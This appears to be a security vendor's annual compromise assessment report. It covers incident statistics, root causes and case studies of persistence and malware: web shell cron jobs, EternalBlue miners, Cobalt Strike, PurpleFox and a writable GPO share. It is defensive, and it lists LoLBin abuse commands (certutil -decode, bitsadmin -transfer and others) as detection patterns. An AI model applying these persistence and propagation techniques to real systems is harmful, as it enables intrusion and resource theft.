• Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
• Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
• The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.

About the Kaspersky Compromise Assessment service

Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.

Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.

Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Detection logic families

Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:

• Credentials from dumps: 12.4% of all incidents;
• Specific living-off-the-land (LOTL) tools: 11.2 %;
• Specific malware families: 11.2 %.

These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.

Distribution of detection logic families (download)

Reasons for requesting Kaspersky Compromise Assessment services

Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).

Statistics on the reasons behind CA project requests (download)

When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.

Incident severity breakdown by service engagement reason
		Incident severity (%)
		High	Medium	Low
Reason for service	Acquiring new company	28.6	42.8	28.6
	General audit	27.7	36.7	35.6
	Report to an authority	30	46.7	23.3
	Checkup after a cybersecurity incident	40.7	25.9	33.4

Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.

Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.

Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.

The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.

Case study: Dormant threat uncovered only by a compromise assessment

A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.

Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:

1. A cron job that recreates a web shell
   A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
   
2. A live reverse shell
   On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
3. ClipBanker data stealer persisting via Windows registry
   A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
   
   This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
4. Malicious WMI event consumer with deceptive alias
   A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
   

The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.

Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.

Missed long-term incidents

The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!

Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.

Severity distribution of incidents by MTTD (download)

The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:

• For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
• However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
• Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).

Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.

The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.

Case study: Four-year-old crypto mining activity on domain controllers

In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.

Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.

Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:

• bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
• Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
• Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
• After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.

Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.

Unintentional malware preservation

An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.

Web shell incident distribution by severity (download)

One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.

Web shell location (download)

Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.

Asset inventory issues (download)

An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.

One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx

During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.

The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:

Legitimate, yet suspicious: LoLBins and remote management tools

In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.

The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.

LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.

Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)

To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:

1. Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
2. Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
   • HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
3. Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
4. Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.

Impact of not having continuous monitoring and proactive threat hunting

Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:

Incident severity breakdown, where 24/7 monitoring or threat hunting is absent
Control type	Low-severity	Medium/high-severity
No continuous monitoring	14%	86%
No threat hunting	16%	84%

Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:

• Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
• Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.

The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.

Case study: Secure by design without continuous monitoring

The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.

The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.

Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.

Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:

The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.

The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.

The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.

Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.

Incident response action statistics

An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.

Incident response actions required after compromise assessment (download)

The distribution highlights three frequently observed patterns:

• Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
• Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
• Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.

Why forensic collection is the default entry point

Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.

Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.

The organization’s ability to collect forensic data by incident severity (download)

Containment: The remove files/registry keys paradox

Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.

Communication failures: An additional operational overhead

A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:

• Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
• Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
• Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
• Staff turnover – loss of knowledge about historical configuration baselines.

These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.

The iterative nature of response plan updates

The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:

• Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
• Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
• Traffic analysis outcomes that expose additional lateral movement paths.
• Human constraints – unavailable system owners, changes in management processes, or supervisor approval.

Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.

Distinguishing real attacker artifacts from penetration testing leftovers

Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:

• Poorly documented penetration test report and artifact cleanup.
• Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
• Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.

Incident response maturity and its effect on severity

Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.

Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)

Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.

Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)

The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.

The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.

Case study: In-memory LionTail infection on critical Windows servers

During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.

Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.

Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.

The response plan comprised a number of actions, the most critical of which are highlighted below:

• Collection of volatile memory dumps for in-depth analysis.
• Acquisition of full forensic disk images from affected systems.
• Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.

Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.

While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.

Solving the root cause problems

Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.

Root-cause category	Share of incidents	Typical findings
Insufficient detection fidelity	60.7%	• No high-confidence alerts were generated by the EPP/EDR or related log sources. • In 9.4% of cases, the product was mis-configured or out of date or malfunctioning.
Missing alert-driven monitoring	35.9%	• Alerts that could have indicated compromise were generated, but an incident was not declared. • Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation.
Deficient vulnerability and configuration management	28.2%	• Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts). • Known vulnerabilities left unpatched or unmitigated.
Lack of structured threat hunting processes	27.4%	• Low-fidelity alerts were never reexamined after initial dismissal. • High-volume telemetry remained unchecked due to staffing constraints.
Inadequate security awareness programs	25.6%	• Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified. • Social engineering attempts were successful because of insufficient user training.
Absence of documented policies/processes	23.9%	• No formal incident response playbooks, change management procedures or data handling guidelines were available.

Common observations on root causes

The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.

Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.

A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:

Parent command line	Command line
/bin/zsh -c -l source /Users/[REDACTED]/.claude/shell-snapshots/snapshot-zsh-[REDACTED].sh && eval ‘ls -lh “/Users/[REDACTED]/Documents/[REDACTED]/”*.xlsx‘ \\< /dev/null && pwd -P >| /var/folders/[REDACTED]/claude-[REDACTED]	ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED]

The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.

Lack of detections: Causes and impacts

Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.

Incident severity distribution when detection coverage was insufficient (download)

A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.

Statistics of missed incidents due to lack of detection capability with or without MSSP (download)

The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:

• Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
• Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.

The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.

Incident severity breakdown where there was no EPP health check or threat intelligence
Missing control	High-severity	Medium-severity	Low-severity
EPP health check	48.3%	36.7%	15%
Threat intelligence feed	50%	40%	10%

Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.

The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.

Case study: In-memory PurpleFox infection evades conventional endpoint protection

During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:

• PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
• XMRig cryptocurrency miner signatures residing inside the same compromised svchost.exe instances.

PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.

The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.

The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.

Insufficient vulnerability management: A catalyst for high-severity compromises

In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.

Severity distribution of incidents due to improper vulnerability management (download)

The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.

Case study: How overly permissive GPO-based software distribution goes wrong

During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.

Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:

• Elevated execution context: the scheduled task typically runs under the SYSTEM or local administrator account.
• Automatic lateral movement: the malicious binary propagates without requiring additional network exploitation.
• Privilege escalation: a compromised low-privilege account can lead to domain administrator code execution.

Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.

Conclusion

In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.

Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:

• Run a comprehensive detection engine health check within 30 days of project closure, prioritizing telemetry integrity and rule relevance.
• Introduce a Tier 1 alert validation team that reviews all low-confidence events on a defined schedule.
• Ensure robust 24/7 monitoring augmented with threat hunting capabilities focused on baselining, low-fidelity alerts, and emerging adversary techniques.
• Reevaluate the vulnerability management pipeline to ensure continuous patching and audit log activation across all critical assets.
• Update security awareness curricula to address credential leakage from personal devices and reinforce secure BYOD practices.
• Ensure periodic tabletop exercises are run to test technical playbooks and sharpen the team’s skills and communication workflows.
• Establish operational-level agreements to govern and facilitate communication between different teams and standard operating procedures used for proper documentation.

